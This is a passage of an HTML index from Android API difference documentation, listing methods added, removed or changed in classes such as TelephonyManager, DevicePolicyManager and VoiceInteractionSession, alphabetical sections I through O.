()</A></nobr><br> <A NAME="I"></A> <br><font size="+2">I</font>&nbsp; <a href="#A"><font size="-2">A</font></a> <a href="#B"><font size="-2">B</font></a> <a href="#C"><font size="-2">C</font></a> <a href="#D"><font size="-2">D</font></a> <a href="#E"><font size="-2">E</font></a> <a href="#F"><font size="-2">F</font></a> <a href="#G"><font size="-2">G</font></a> <a href="#H"><font size="-2">H</font></a> <a href="#L"><font size="-2">L</font></a> <a href="#M"><font size="-2">M</font></a> <a href="#N"><font size="-2">N</font></a> <a href="#O"><font size="-2">O</font></a> <a href="#P"><font size="-2">P</font></a> <a href="#R"><font size="-2">R</font></a> <a href="#S"><font size="-2">S</font></a> <a href="#T"><font size="-2">T</font></a> <a href="#U"><font size="-2">U</font></a> <a href="#V"><font size="-2">V</font></a> <a href="#W"><font size="-2">W</font></a> <a href="#Z"><font size="-2">Z</font></a> <a href="#topheader"><font size="-2">TOP</font></a> <p><div style="line-height:1.5em;color:black"> <nobr><A HREF="android.telephony.TelephonyManager.html#android.telephony.TelephonyManager.iccCloseLogicalChannel_added(int)" class="hiddenlink" target="rightframe"><b>iccCloseLogicalChannel</b> (<code>int</code>)</A></nobr><br> <nobr><A HREF="android.telephony.TelephonyManager.html#android.telephony.TelephonyManager.iccExchangeSimIO_added(int, int, int, int, int, java.lang.String)" class="hiddenlink" target="rightframe"><b>iccExchangeSimIO</b> (<code>int, int, int, int, int, String</code>)</A></nobr><br> <nobr><A HREF="android.telephony.TelephonyManager.html#android.telephony.TelephonyManager.iccOpenLogicalChannel_added(java.lang.String)" class="hiddenlink" target="rightframe"><b>iccOpenLogicalChannel</b> (<code>String</code>)</A></nobr><br> <nobr><A HREF="android.telephony.TelephonyManager.html#android.telephony.TelephonyManager.iccTransmitApduBasicChannel_added(int, int, int, int, int, java.lang.String)" class="hiddenlink" target="rightframe"><b>iccTransmitApduBasicChannel</b> (<code>int, int, int, int, int, String</code>)</A></nobr><br> <nobr><A HREF="android.telephony.TelephonyManager.html#android.telephony.TelephonyManager.iccTransmitApduLogicalChannel_added(int, int, int, int, int, int, java.lang.String)" class="hiddenlink" target="rightframe"><b>iccTransmitApduLogicalChannel</b> (<code>int, int, int, int, int, int, String</code>)</A></nobr><br> <nobr><A HREF="android.util.ArrayMap.html#android.util.ArrayMap.indexOfKey_added(java.lang.Object)" class="hiddenlink" target="rightframe"><b>indexOfKey</b> (<code>Object</code>)</A></nobr><br> <nobr><A HREF="android.view.View.html#android.view.View.initializeFadingEdge_removed(android.content.res.TypedArray)" class="hiddenlink" target="rightframe"><strike>initializeFadingEdge</strike> (<code>TypedArray</code>)</A></nobr><br> <nobr><A HREF="android.view.View.html#android.view.View.initializeScrollbars_removed(android.content.res.TypedArray)" class="hiddenlink" target="rightframe"><strike>initializeScrollbars</strike> (<code>TypedArray</code>)</A></nobr><br> <nobr><A HREF="android.util.Range.html#android.util.Range.inRange_removed(T)" class="hiddenlink" target="rightframe"><strike>inRange</strike> (<code>T</code>)</A></nobr><br> <nobr><A HREF="android.app.admin.DevicePolicyManager.html#android.app.admin.DevicePolicyManager.installCaCert_added(android.content.ComponentName, byte[])" class="hiddenlink" target="rightframe"><b>installCaCert</b> (<code>ComponentName, byte[]</code>)</A></nobr><br> <nobr><A HREF="android.app.admin.DevicePolicyManager.html#android.app.admin.DevicePolicyManager.installKeyPair_added(android.content.ComponentName, java.security.PrivateKey, java.security.cert.Certificate, java.lang.String)" class="hiddenlink" target="rightframe"><b>installKeyPair</b> (<code>ComponentName, PrivateKey, Certificate, String</code>)</A></nobr><br> <i>intersect</i><br> &nbsp;&nbsp;<nobr><A HREF="android.util.Range.html#android.util.Range.intersect_added(T, T)" class="hiddenlink" target="rightframe">type&nbsp;<b> (<code>T, T</code>)</b>&nbsp;in&nbsp;android.util.Range </A></nobr><br> &nbsp;&nbsp;<nobr><A HREF="android.util.Range.html#android.util.Range.intersect_added(android.util.Range<T>)" class="hiddenlink" target="rightframe">type&nbsp;<b> (<code>Range&lt;T&gt;</code>)</b>&nbsp;in&nbsp;android.util.Range </A></nobr><br> <nobr><A HREF="android.view.View.html#android.view.View.invalidateOutline_added()" class="hiddenlink" target="rightframe"><b>invalidateOutline</b> ()</A></nobr><br> <nobr><A HREF="android.net.wifi.WifiManager.html#android.net.wifi.WifiManager.is5GHzBandSupported_added()" class="hiddenlink" target="rightframe"><b>is5GHzBandSupported</b> ()</A></nobr><br> <nobr><A HREF="android.view.accessibility.AccessibilityWindowInfo.html#android.view.accessibility.AccessibilityWindowInfo.isAccessibilityFocused_added()" class="hiddenlink" target="rightframe"><b>isAccessibilityFocused</b> ()</A></nobr><br> <nobr><A HREF="android.service.voice.VoiceInteractionService.html#android.service.voice.VoiceInteractionService.isActiveService_added(android.content.Context, android.content.ComponentName)" class="hiddenlink" target="rightframe"><b>isActiveService</b> (<code>Context, ComponentName</code>)</A></nobr><br> <nobr><A HREF="android.content.pm.LauncherApps.html#android.content.pm.LauncherApps.isActivityEnabled_added(android.content.ComponentName, android.os.UserHandle)" class="hiddenlink" target="rightframe"><b>isActivityEnabled</b> (<code>ComponentName, UserHandle</code>)</A></nobr><br> <nobr><A HREF="android.content.pm.LauncherApps.html#android.content.pm.LauncherApps.isActivityEnabledForProfile_removed(android.content.ComponentName, android.os.UserHandle)" class="hiddenlink" target="rightframe"><strike>isActivityEnabledForProfile</strike> (<code>ComponentName, UserHandle</code>)</A></nobr><br> <nobr><A HREF="android.app.admin.DevicePolicyManager.html#android.app.admin.DevicePolicyManager.isApplicationBlocked_removed(android.content.ComponentName, java.lang.String)" class="hiddenlink" target="rightframe"><strike>isApplicationBlocked</strike> (<code>ComponentName, String</code>)</A></nobr><br> <nobr><A HREF="android.app.admin.DevicePolicyManager.html#android.app.admin.DevicePolicyManager.isApplicationHidden_added(android.content.ComponentName, java.lang.String)" class="hiddenlink" target="rightframe"><b>isApplicationHidden</b> (<code>ComponentName, String</code>)</A></nobr><br> <nobr><A HREF="android.view.MotionEvent.html#android.view.MotionEvent.isButtonPressed_added(int)" class="hiddenlink" target="rightframe"><b>isButtonPressed</b> (<code>int</code>)</A></nobr><br> <nobr><A HREF="android.bluetooth.le.AdvertiseSettings.html#android.bluetooth.le.AdvertiseSettings.isConnectable_added()" class="hiddenlink" target="rightframe"><b>isConnectable</b> ()</A></nobr><br> <nobr><A HREF="android.view.WindowInsets.html#android.view.WindowInsets.isConsumed_added()" class="hiddenlink" target="rightframe"><b>isConsumed</b> ()</A></nobr><br> <nobr><A HREF="android.net.wifi.WifiManager.html#android.net.wifi.WifiManager.isDeviceToApRttSupported_added()" class="hiddenlink" target="rightframe"><b>isDeviceToApRttSupported</b> ()</A></nobr><br> <nobr><A HREF="android.net.wifi.WifiManager.html#android.net.wifi.WifiManager.isEnhancedPowerReportingSupported_added()" class="hiddenlink" target="rightframe"><b>isEnhancedPowerReportingSupported</b> ()</A></nobr><br> <nobr><A HREF="android.provider.ContactsContract.Contacts.html#android.provider.ContactsContract.Contacts.isEnterpriseContactId_added(long)" class="hiddenlink" target="rightframe"><b>isEnterpriseContactId</b> (<code>long</code>)</A></nobr><br> <nobr><A HREF="android.media.MediaCodecInfo.CodecCapabilities.html#android.media.MediaCodecInfo.CodecCapabilities.isFeatureRequired_added(java.lang.String)" class="hiddenlink" target="rightframe"><b>isFeatureRequired</b> (<code>String</code>)</A></nobr><br> <nobr><A HREF="android.media.MediaCodecInfo.CodecCapabilities.html#android.media.MediaCodecInfo.CodecCapabilities.isFormatSupported_added(android.media.MediaFormat)" class="hiddenlink" target="rightframe"><b>isFormatSupported</b> (<code>MediaFormat</code>)</A></nobr><br> <nobr><A HREF="android.app.ActivityManager.html#android.app.ActivityManager.isInLockTaskMode_added()" class="hiddenlink" target="rightframe"><b>isInLockTaskMode</b> ()</A></nobr><br> <nobr><A HREF="android.service.notification.NotificationListenerService.Ranking.html#android.service.notification.NotificationListenerService.Ranking.isInterceptedByDoNotDisturb_removed()" class="hiddenlink" target="rightframe"><strike>isInterceptedByDoNotDisturb</strike> ()</A></nobr><br> <nobr><A HREF="android.app.admin.DevicePolicyManager.html#android.app.admin.DevicePolicyManager.isLockTaskPermitted_changed(java.lang.String)" class="hiddenlink" target="rightframe">isLockTaskPermitted (<code>String</code>)</A></nobr><br> <nobr><A HREF="android.app.admin.DevicePolicyManager.html#android.app.admin.DevicePolicyManager.isMasterVolumeMuted_added(android.content.ComponentName)" class="hiddenlink" target="rightframe"><b>isMasterVolumeMuted</b> (<code>ComponentName</code>)</A></nobr><br> <nobr><A HREF="android.bluetooth.BluetoothAdapter.html#android.bluetooth.BluetoothAdapter.isMultipleAdvertisementSupported_added()" class="hiddenlink" target="rightframe"><b>isMultipleAdvertisementSupported</b> ()</A></nobr><br> <nobr><A HREF="android.bluetooth.BluetoothAdapter.html#android.bluetooth.BluetoothAdapter.isOffloadedFilteringSupported_added()" class="hiddenlink" target="rightframe"><b>isOffloadedFilteringSupported</b> ()</A></nobr><br> <nobr><A HREF="android.bluetooth.BluetoothAdapter.html#android.bluetooth.BluetoothAdapter.isOffloadedScanBatchingSupported_added()" class="hiddenlink" target="rightframe"><b>isOffloadedScanBatchingSupported</b> ()</A></nobr><br> <nobr><A HREF="android.app.job.JobParameters.html#android.app.job.JobParameters.isOverrideDeadlineExpired_added()" class="hiddenlink" target="rightframe"><b>isOverrideDeadlineExpired</b> ()</A></nobr><br> <nobr><A HREF="android.net.wifi.WifiManager.html#android.net.wifi.WifiManager.isP2pSupported_added()" class="hiddenlink" target="rightframe"><b>isP2pSupported</b> ()</A></nobr><br> <nobr><A HREF="android.content.pm.LauncherApps.html#android.content.pm.LauncherApps.isPackageEnabled_added(java.lang.String, android.os.UserHandle)" class="hiddenlink" target="rightframe"><b>isPackageEnabled</b> (<code>String, UserHandle</code>)</A></nobr><br> <nobr><A HREF="android.content.pm.LauncherApps.html#android.content.pm.LauncherApps.isPackageEnabledForProfile_removed(java.lang.String, android.os.UserHandle)" class="hiddenlink" target="rightframe"><strike>isPackageEnabledForProfile</strike> (<code>String, UserHandle</code>)</A></nobr><br> <nobr><A HREF="android.media.tv.TvInputManager.html#android.media.tv.TvInputManager.isParentalControlsEnabled_added()" class="hiddenlink" target="rightframe"><b>isParentalControlsEnabled</b> ()</A></nobr><br> <nobr><A HREF="android.media.tv.TvInputInfo.html#android.media.tv.TvInputInfo.isPassthroughInput_added()" class="hiddenlink" target="rightframe"><b>isPassthroughInput</b> ()</A></nobr><br> <nobr><A HREF="android.app.job.JobInfo.html#android.app.job.JobInfo.isPersisted_added()" class="hiddenlink" target="rightframe"><b>isPersisted</b> ()</A></nobr><br> <nobr><A HREF="android.net.wifi.WifiManager.html#android.net.wifi.WifiManager.isPreferredNetworkOffloadSupported_added()" class="hiddenlink" target="rightframe"><b>isPreferredNetworkOffloadSupported</b> ()</A></nobr><br> <nobr><A HREF="android.media.tv.TvInputManager.html#android.media.tv.TvInputManager.isRatingBlocked_added(android.media.tv.TvContentRating)" class="hiddenlink" target="rightframe"><b>isRatingBlocked</b> (<code>TvContentRating</code>)</A></nobr><br> <nobr><A HREF="android.telephony.TelephonyManager.html#android.telephony.TelephonyManager.isSmsCapable_added()" class="hiddenlink" target="rightframe"><b>isSmsCapable</b> ()</A></nobr><br> <nobr><A HREF="android.net.wifi.WifiManager.html#android.net.wifi.WifiManager.isTdlsSupported_added()" class="hiddenlink" target="rightframe"><b>isTdlsSupported</b> ()</A></nobr><br> <nobr><A HREF="android.app.admin.DevicePolicyManager.html#android.app.admin.DevicePolicyManager.isUninstallBlocked_added(android.content.ComponentName, java.lang.String)" class="hiddenlink" target="rightframe"><b>isUninstallBlocked</b> (<code>ComponentName, String</code>)</A></nobr><br> <nobr><A HREF="android.app.Activity.html#android.app.Activity.isVoiceInteraction_removed()" class="hiddenlink" target="rightframe"><strike>isVoiceInteraction</strike> ()</A></nobr><br> <nobr><A HREF="android.media.AudioManager.html#android.media.AudioManager.isVolumeFixed_added()" class="hiddenlink" target="rightframe"><b>isVolumeFixed</b> ()</A></nobr><br> <nobr><A HREF="android.os.PowerManager.html#android.os.PowerManager.isWakeLockLevelSupported_added(int)" class="hiddenlink" target="rightframe"><b>isWakeLockLevelSupported</b> (<code>int</code>)</A></nobr><br> <nobr><A HREF="android.hardware.Sensor.html#android.hardware.Sensor.isWakeUpSensor_added()" class="hiddenlink" target="rightframe"><b>isWakeUpSensor</b> ()</A></nobr><br> <nobr><A HREF="android.view.inputmethod.InputMethodManager.html#android.view.inputmethod.InputMethodManager.isWatchingCursor_changed(android.view.View)" class="hiddenlink" target="rightframe">isWatchingCursor (<code>View</code>)</A></nobr><br> <A NAME="L"></A> <br><font size="+2">L</font>&nbsp; <a href="#A"><font size="-2">A</font></a> <a href="#B"><font size="-2">B</font></a> <a href="#C"><font size="-2">C</font></a> <a href="#D"><font size="-2">D</font></a> <a href="#E"><font size="-2">E</font></a> <a href="#F"><font size="-2">F</font></a> <a href="#G"><font size="-2">G</font></a> <a href="#H"><font size="-2">H</font></a> <a href="#I"><font size="-2">I</font></a> <a href="#M"><font size="-2">M</font></a> <a href="#N"><font size="-2">N</font></a> <a href="#O"><font size="-2">O</font></a> <a href="#P"><font size="-2">P</font></a> <a href="#R"><font size="-2">R</font></a> <a href="#S"><font size="-2">S</font></a> <a href="#T"><font size="-2">T</font></a> <a href="#U"><font size="-2">U</font></a> <a href="#V"><font size="-2">V</font></a> <a href="#W"><font size="-2">W</font></a> <a href="#Z"><font size="-2">Z</font></a> <a href="#topheader"><font size="-2">TOP</font></a> <p><div style="line-height:1.5em;color:black"> <i>loadIcon</i><br> &nbsp;&nbsp;<nobr><A HREF="android.appwidget.AppWidgetProviderInfo.html#android.appwidget.AppWidgetProviderInfo.loadIcon_added(android.content.Context, int)" class="hiddenlink" target="rightframe">type&nbsp;<b> (<code>Context, int</code>)</b>&nbsp;in&nbsp;android.appwidget.AppWidgetProviderInfo </A></nobr><br> &nbsp;&nbsp;<nobr><A HREF="android.media.tv.TvInputInfo.html#android.media.tv.TvInputInfo.loadIcon_added(android.content.Context)" class="hiddenlink" target="rightframe">type&nbsp;<b> (<code>Context</code>)</b>&nbsp;in&nbsp;android.media.tv.TvInputInfo </A></nobr><br> <i>loadLabel</i><br> &nbsp;&nbsp;<nobr><A HREF="android.appwidget.AppWidgetProviderInfo.html#android.appwidget.AppWidgetProviderInfo.loadLabel_added(android.content.pm.PackageManager)" class="hiddenlink" target="rightframe">type&nbsp;<b> (<code>PackageManager</code>)</b>&nbsp;in&nbsp;android.appwidget.AppWidgetProviderInfo </A></nobr><br> &nbsp;&nbsp;<nobr><A HREF="android.media.tv.TvInputInfo.html#android.media.tv.TvInputInfo.loadLabel_changed(android.content.Context)" class="hiddenlink" target="rightframe">type&nbsp; (<code>Context</code>)&nbsp;in&nbsp;android.media.tv.TvInputInfo </A></nobr><br> <nobr><A HREF="android.appwidget.AppWidgetProviderInfo.html#android.appwidget.AppWidgetProviderInfo.loadPreviewImage_added(android.content.Context, int)" class="hiddenlink" target="rightframe"><b>loadPreviewImage</b> (<code>Context, int</code>)</A></nobr><br> <A NAME="M"></A> <br><font size="+2">M</font>&nbsp; <a href="#A"><font size="-2">A</font></a> <a href="#B"><font size="-2">B</font></a> <a href="#C"><font size="-2">C</font></a> <a href="#D"><font size="-2">D</font></a> <a href="#E"><font size="-2">E</font></a> <a href="#F"><font size="-2">F</font></a> <a href="#G"><font size="-2">G</font></a> <a href="#H"><font size="-2">H</font></a> <a href="#I"><font size="-2">I</font></a> <a href="#L"><font size="-2">L</font></a> <a href="#N"><font size="-2">N</font></a> <a href="#O"><font size="-2">O</font></a> <a href="#P"><font size="-2">P</font></a> <a href="#R"><font size="-2">R</font></a> <a href="#S"><font size="-2">S</font></a> <a href="#T"><font size="-2">T</font></a> <a href="#U"><font size="-2">U</font></a> <a href="#V"><font size="-2">V</font></a> <a href="#W"><font size="-2">W</font></a> <a href="#Z"><font size="-2">Z</font></a> <a href="#topheader"><font size="-2">TOP</font></a> <p><div style="line-height:1.5em;color:black"> <nobr><A HREF="android.app.ActivityOptions.html#android.app.ActivityOptions.makeTaskLaunchBehind_added()" class="hiddenlink" target="rightframe"><b>makeTaskLaunchBehind</b> ()</A></nobr><br> <nobr><A HREF="android.service.notification.NotificationListenerService.Ranking.html#android.service.notification.NotificationListenerService.Ranking.matchesInterruptionFilter_added()" class="hiddenlink" target="rightframe"><b>matchesInterruptionFilter</b> ()</A></nobr><br> <nobr><A HREF="android.app.ActivityManager.AppTask.html#android.app.ActivityManager.AppTask.moveToFront_added()" class="hiddenlink" target="rightframe"><b>moveToFront</b> ()</A></nobr><br> <A NAME="N"></A> <br><font size="+2">N</font>&nbsp; <a href="#A"><font size="-2">A</font></a> <a href="#B"><font size="-2">B</font></a> <a href="#C"><font size="-2">C</font></a> <a href="#D"><font size="-2">D</font></a> <a href="#E"><font size="-2">E</font></a> <a href="#F"><font size="-2">F</font></a> <a href="#G"><font size="-2">G</font></a> <a href="#H"><font size="-2">H</font></a> <a href="#I"><font size="-2">I</font></a> <a href="#L"><font size="-2">L</font></a> <a href="#M"><font size="-2">M</font></a> <a href="#O"><font size="-2">O</font></a> <a href="#P"><font size="-2">P</font></a> <a href="#R"><font size="-2">R</font></a> <a href="#S"><font size="-2">S</font></a> <a href="#T"><font size="-2">T</font></a> <a href="#U"><font size="-2">U</font></a> <a href="#V"><font size="-2">V</font></a> <a href="#W"><font size="-2">W</font></a> <a href="#Z"><font size="-2">Z</font></a> <a href="#topheader"><font size="-2">TOP</font></a> <p><div style="line-height:1.5em;color:black"> <nobr><A HREF="android.media.tv.TvInputService.Session.html#android.media.tv.TvInputService.Session.notifyChannelRetuned_added(android.net.Uri)" class="hiddenlink" target="rightframe"><b>notifyChannelRetuned</b> (<code>Uri</code>)</A></nobr><br> <nobr><A HREF="android.media.tv.TvInputService.Session.html#android.media.tv.TvInputService.Session.notifyContentAllowed_added()" class="hiddenlink" target="rightframe"><b>notifyContentAllowed</b> ()</A></nobr><br> <nobr><A HREF="android.media.tv.TvInputService.Session.html#android.media.tv.TvInputService.Session.notifyContentBlocked_added(android.media.tv.TvContentRating)" class="hiddenlink" target="rightframe"><b>notifyContentBlocked</b> (<code>TvContentRating</code>)</A></nobr><br> <nobr><A HREF="android.media.tv.TvInputService.Session.html#android.media.tv.TvInputService.Session.notifyTracksChanged_added(java.util.List<android.media.tv.TvTrackInfo>)" class="hiddenlink" target="rightframe"><b>notifyTracksChanged</b> (<code>List&lt;TvTrackInfo&gt;</code>)</A></nobr><br> <nobr><A HREF="android.media.tv.TvInputService.Session.html#android.media.tv.TvInputService.Session.notifyTrackSelected_added(int, java.lang.String)" class="hiddenlink" target="rightframe"><b>notifyTrackSelected</b> (<code>int, String</code>)</A></nobr><br> <nobr><A HREF="android.media.tv.TvInputService.Session.html#android.media.tv.TvInputService.Session.notifyVideoAvailable_added()" class="hiddenlink" target="rightframe"><b>notifyVideoAvailable</b> ()</A></nobr><br> <nobr><A HREF="android.media.tv.TvInputService.Session.html#android.media.tv.TvInputService.Session.notifyVideoUnavailable_added(int)" class="hiddenlink" target="rightframe"><b>notifyVideoUnavailable</b> (<code>int</code>)</A></nobr><br> <A NAME="O"></A> <br><font size="+2">O</font>&nbsp; <a href="#A"><font size="-2">A</font></a> <a href="#B"><font size="-2">B</font></a> <a href="#C"><font size="-2">C</font></a> <a href="#D"><font size="-2">D</font></a> <a href="#E"><font size="-2">E</font></a> <a href="#F"><font size="-2">F</font></a> <a href="#G"><font size="-2">G</font></a> <a href="#H"><font size="-2">H</font></a> <a href="#I"><font size="-2">I</font></a> <a href="#L"><font size="-2">L</font></a> <a href="#M"><font size="-2">M</font></a> <a href="#N"><font size="-2">N</font></a> <a href="#P"><font size="-2">P</font></a> <a href="#R"><font size="-2">R</font></a> <a href="#S"><font size="-2">S</font></a> <a href="#T"><font size="-2">T</font></a> <a href="#U"><font size="-2">U</font></a> <a href="#V"><font size="-2">V</font></a> <a href="#W"><font size="-2">W</font></a> <a href="#Z"><font size="-2">Z</font></a> <a href="#topheader"><font size="-2">TOP</font></a> <p><div style="line-height:1.5em;color:black"> <nobr><A HREF="android.service.voice.VoiceInteractionSession.html#android.service.voice.VoiceInteractionSession.onAbortVoice_removed(android.service.voice.VoiceInteractionSession.Caller, android.service.voice.VoiceInteractionSession.Request, java.lang.CharSequence, android.os.Bundle)" class="hiddenlink" target="rightframe"><strike>onAbortVoice</strike> (<code>Caller, Request, CharSequence, Bundle</code>)</A></nobr><br> <nobr><A HREF="android.app.Activity.html#android.app.Activity.onActivityReenter_changed(int, android.content.Intent)" class="hiddenlink" target="rightframe">onActivityReenter (<code>int, Intent</code>)</A></nobr><br> <nobr><A HREF="android.bluetooth.le.ScanCallback.html#android.bluetooth.le.ScanCallback.onAdvertisementUpdate_removed(android.bluetooth.le.ScanResult)" class="hiddenlink" target="rightframe"><strike>onAdvertisementUpdate</strike> (<code>ScanResult</code>)</A></nobr><br> <nobr><A HREF="android.service.wallpaper.WallpaperService.Engine.html#android.service.wallpaper.WallpaperService.Engine.onApplyWindowInsets_added(android.view.WindowInsets)" class="hiddenlink" target="rightframe"><b>onApplyWindowInsets</b> (<code>WindowInsets</code>)</A></nobr><br> <nobr><A HREF="android.media.session.MediaController.Callback.html#android.media.session.MediaController.Callback.onAudioInfoChanged_added(android.media.session.MediaController.PlaybackInfo)" class="hiddenlink" target="rightframe"><b>onAudioInfoChanged</b> (<code>PlaybackInfo</code>)</A></nobr><br> <nobr><A HREF="android.service.voice.VoiceInteractionSession.html#android.service.voice.VoiceInteractionSession.onBackPressed_removed()" class="hiddenlink" target="rightframe"><strike>onBackPressed</strike> ()</A></nobr><br> <nobr><A HREF="android.bluetooth.le.ScanCallback.html#android.bluetooth.le.ScanCallback.onBatchScanResults_added(java.util.List<android.bluetooth.le.ScanResult>)" class="hiddenlink" target="rightframe"><b>onBatchScanResults</b> (<code>List&lt;ScanResult&gt;</code>)</A></nobr><br> <nobr><A HREF="android.service.voice.VoiceInteractionSession.html#android.service.voice.VoiceInteractionSession.onCancel_removed(android.service.voice.VoiceInteractionSession.Request)" class="hiddenlink" target="rightframe"><strike>onCancel</strike> (<code>Request</code>)</A></nobr><br> <i>onCommand</i><br> &nbsp;&nbsp;<nobr><A HREF="android.media.session.MediaSession.Callback.html#android.media.session.MediaSession.Callback.onCommand_added(java.lang.String, android.os.Bundle, android.os.ResultReceiver)" class="hiddenlink" target="rightframe">type&nbsp;<b> (<code>String, Bundle, ResultReceiver</code>)</b>&nbsp;in&nbsp;android.media.session.MediaSession.Callback </A></nobr><br> &nbsp;&nbsp;<nobr><A HREF="android.service.voice.VoiceInteractionSession.html#android.service.voice.VoiceInteractionSession.onCommand_removed(android.service.voice.VoiceInteractionSession.Caller, android.service.voice.VoiceInteractionSession.Request, java.lang.String, android.os.Bundle)" class="hiddenlink" target="rightframe">type&nbsp;<strike> (<code>Caller, Request, String, Bundle</code>)</strike>&nbsp;in&nbsp;android.service.voice.VoiceInteractionSession </A></nobr><br> <nobr><A HREF="android.service.voice.VoiceInteractionSession.html#android.service.voice.VoiceInteractionSession.onComputeInsets_removed(android.service.voice.VoiceInteractionSession.Insets)" class="hiddenlink" target="rightframe"><strike>onComputeInsets</strike> (<code>Insets</code>)</A></nobr><br> <nobr><A HREF="android.service.voice.VoiceInteractionSession.html#android.service.voice.VoiceInteractionSession.onConfirm_removed(android.service.voice.VoiceInteractionSession.Caller, android.service.voice.VoiceInteractionSession.Request, java.lang.CharSequence, android.os.Bundle)" class="hiddenlink" target="rightframe"><strike>onConfirm</strike> (<code>Caller, Request, CharSequence, Bundle</code>)</A></nobr><br> <nobr><A HREF="android.media.session.MediaSession.Callback.html#android.media.session.MediaSession.Callback.onControlCommand_removed(java.lang.String, android.os.Bundle, android.os.ResultReceiver)" class="hiddenlink" target="rightframe"><strike>onControlCommand</strike> (<code>String, Bundle, ResultReceiver</code>)</A></nobr><br> <nobr><A HREF="android.app.Activity.html#android.app.Activity.onCreate_changed(android.os.Bundle, android.os.PersistableBundle)" class="hiddenlink" target="rightframe">onCreate (<code>Bundle, PersistableBundle</code>)</A></nobr><br> <nobr><A HREF="android.service.voice.VoiceInteractionSession.html#android.service.voice.VoiceInteractionSession.onCreateContentView_removed()" class="hiddenlink" target="rightframe"><strike>onCreateContentView</strike> ()</A></nobr><br> <nobr><A HREF="android.media.tv.TvInputService.html#android.media.tv.TvInputService.onCreateSession_changed(java.lang.String)" class="hiddenlink" target="rightframe">onCreateSession (<code>String</code>)</A></nobr><br> <nobr><A HREF="android.media.session.MediaSession.Callback.html#android.media.session.MediaSession.Callback.onCustomAction_added(java.lang.String, android.os.Bundle)" class="hiddenlink" target="rightframe"><b>onCustomAction</b> (<code>String, Bundle</code>)</A></nobr><br> <nobr><A HREF="android.app.Activity.html#android.app.Activity.onEnterAnimationComplete_added()" class="hiddenlink" target="rightframe"><b>onEnterAnimationComplete</b> ()</A></nobr><br> <i>onError</i><br> &nbsp;&nbsp;<nobr><A HREF="android.speech.tts.UtteranceProgressListener.html#android.speech.tts.UtteranceProgressListener.onError_removed(java.lang.String)" class="hiddenlink" target="rightframe">type&nbsp;<strike> (<code>String</code>)</strike>&nbsp;in&nbsp;android.speech.tts.UtteranceProgressListener </A></nobr><br> &nbsp;&nbsp;<nobr><A HREF="android.speech.tts.UtteranceProgressListener.html#android.speech.tts.UtteranceProgressListener.onError_added(java.lang.String, int)" class="hiddenlink" target="rightframe">type&nbsp;<b> (<code>String, int</code>)</b>&nbsp;in&nbsp;android.speech.tts.UtteranceProgressListener </A></nobr><br> &nbsp;&nbsp;<nobr><A HREF="android.speech.tts.UtteranceProgressListener.html#android.speech.tts.UtteranceProgressListener.onError_added(java.lang.String)" class="hiddenlink" target="rightframe">type&nbsp;<b> (<code>String</code>)</b>&nbsp;in&nbsp;android.speech.tts.UtteranceProgressListener </A></nobr><br> <nobr><A HREF="android.media.session.MediaController.Callback.html#android.media.session.MediaController.Callback.onExtrasChanged_added(android.os.Bundle)" class="hiddenlink" target="rightframe"><b>onExtrasChanged</b> (<code>Bundle</code>)</A></nobr><br> <nobr><A HREF="android.bluetooth.le.AdvertiseCallback.html#android.bluetooth.le.AdvertiseCallback.onFailure_removed(int)" class="hiddenlink" target="rightframe"><strike>onFailure</strike> (<code>int</code>)</A></nobr><br> <nobr><A HREF="android.media.session.MediaSession.Callback.html#android.media.session.MediaSession.Callback.onFastForward_added()" class="hiddenlink" target="rightframe"><b>onFastForward</b> ()</A></nobr><br> <nobr><A HREF="android.speech.tts.TextToSpeechService.html#android.speech.tts.TextToSpeechService.onGetDefaultVoiceNameFor_added(java.lang.String, java.lang.String, java.lang.String)" class="hiddenlink" target="rightframe"><b>onGetDefaultVoiceNameFor</b> (<code>String, String, String</code>)</A></nobr><br> <nobr><A HREF="android.location.SettingInjectorService.html#android.location.SettingInjectorService.onGetSummary_changed()" class="hiddenlink" target="rightframe">onGetSummary ()</A></nobr><br> <nobr><A HREF="android.service.voice.VoiceInteractionSession.html#android.service.voice.VoiceInteractionSession.onGetSupportedCommands_removed(android.service.voice.VoiceInteractionSession.Caller, java.lang.String[])" class="hiddenlink" target="rightframe"><strike>onGetSupportedCommands</strike> (<code>Caller, String[]</code>)</A></nobr><br> <nobr><A HREF="android.speech.tts.TextToSpeechService.html#android.speech.tts.TextToSpeechService.onGetVoices_added()" class="hiddenlink" target="rightframe"><b>onGetVoices</b> ()</A></nobr><br> <nobr><A HREF="android.service.notification.NotificationListenerService.html#android.service.notification.NotificationListenerService.onInterruptionFilterChanged_added(int)" class="hiddenlink" target="rightframe"><b>onInterruptionFilterChanged</b> (<code>int</code>)</A></nobr><br> <nobr><A HREF="android.speech.tts.TextToSpeechService.html#android.speech.tts.TextToSpeechService.onIsValidVoiceName_added(java.lang.String)" class="hiddenlink" target="rightframe"><b>onIsValidVoiceName</b> (<code>String</code>)</A></nobr><br> <nobr><A HREF="android.service.notification.NotificationListenerService.html#android.service.notification.NotificationListenerService.onListenerHintsChanged_added(int)" class="hiddenlink" target="rightframe"><b>onListenerHintsChanged</b> (<code>int</code>)</A></nobr><br> <nobr><A HREF="android.speech.tts.TextToSpeechService.html#android.speech.tts.TextToSpeechService.onLoadVoice_added(java.lang.String)" class="hiddenlink" target="rightframe"><b>onLoadVoice</b> (<code>String</code>)</A></nobr><br> <nobr><A HREF="android.app.admin.DeviceAdminReceiver.html#android.app.admin.DeviceAdminReceiver.onLockTaskModeEntering_added(android.content.Context, android.content.Intent, java.lang.String)" class="hiddenlink" target="rightframe"><b>onLockTaskModeEntering</b> (<code>Context, Intent, String</code>)</A></nobr><br> <nobr><A HREF="android.app.admin.DeviceAdminReceiver.html#android.app.admin.DeviceAdminReceiver.onLockTaskModeExiting_added(android.content.Context, android.content.Intent)" class="hiddenlink" target="rightframe"><b>onLockTaskModeExiting</b> (<code>Context, Intent</code>)</A></nobr><br> <nobr><A HREF="android.media.session.MediaSession.Callback.html#android.media.session.MediaSession.Callback.onMediaButtonEvent_changed(android.content.Intent)" class="hiddenlink" target="rightframe">onMediaButtonEvent (<code>Intent</code>)</A></nobr><br> <nobr><A HREF="android.bluetooth.BluetoothGattCallback.html#android.bluetooth.BluetoothGattCallback.onMtuChanged_added(android.bluetooth.BluetoothGatt, int, int)" class="hiddenlink" target="rightframe"><b>onMtuChanged</b> (<code>BluetoothGatt, int, int</code>)</A></nobr><br> <i>onNestedPreFling</i><br> &nbsp;&nbsp;<nobr><A HREF="android.view.ViewGroup.html#android.view.ViewGroup.onNestedPreFling_added(android.view.View, float, float)" class="hiddenlink" target="rightframe">type&nbsp;<b> (<code>View, float, 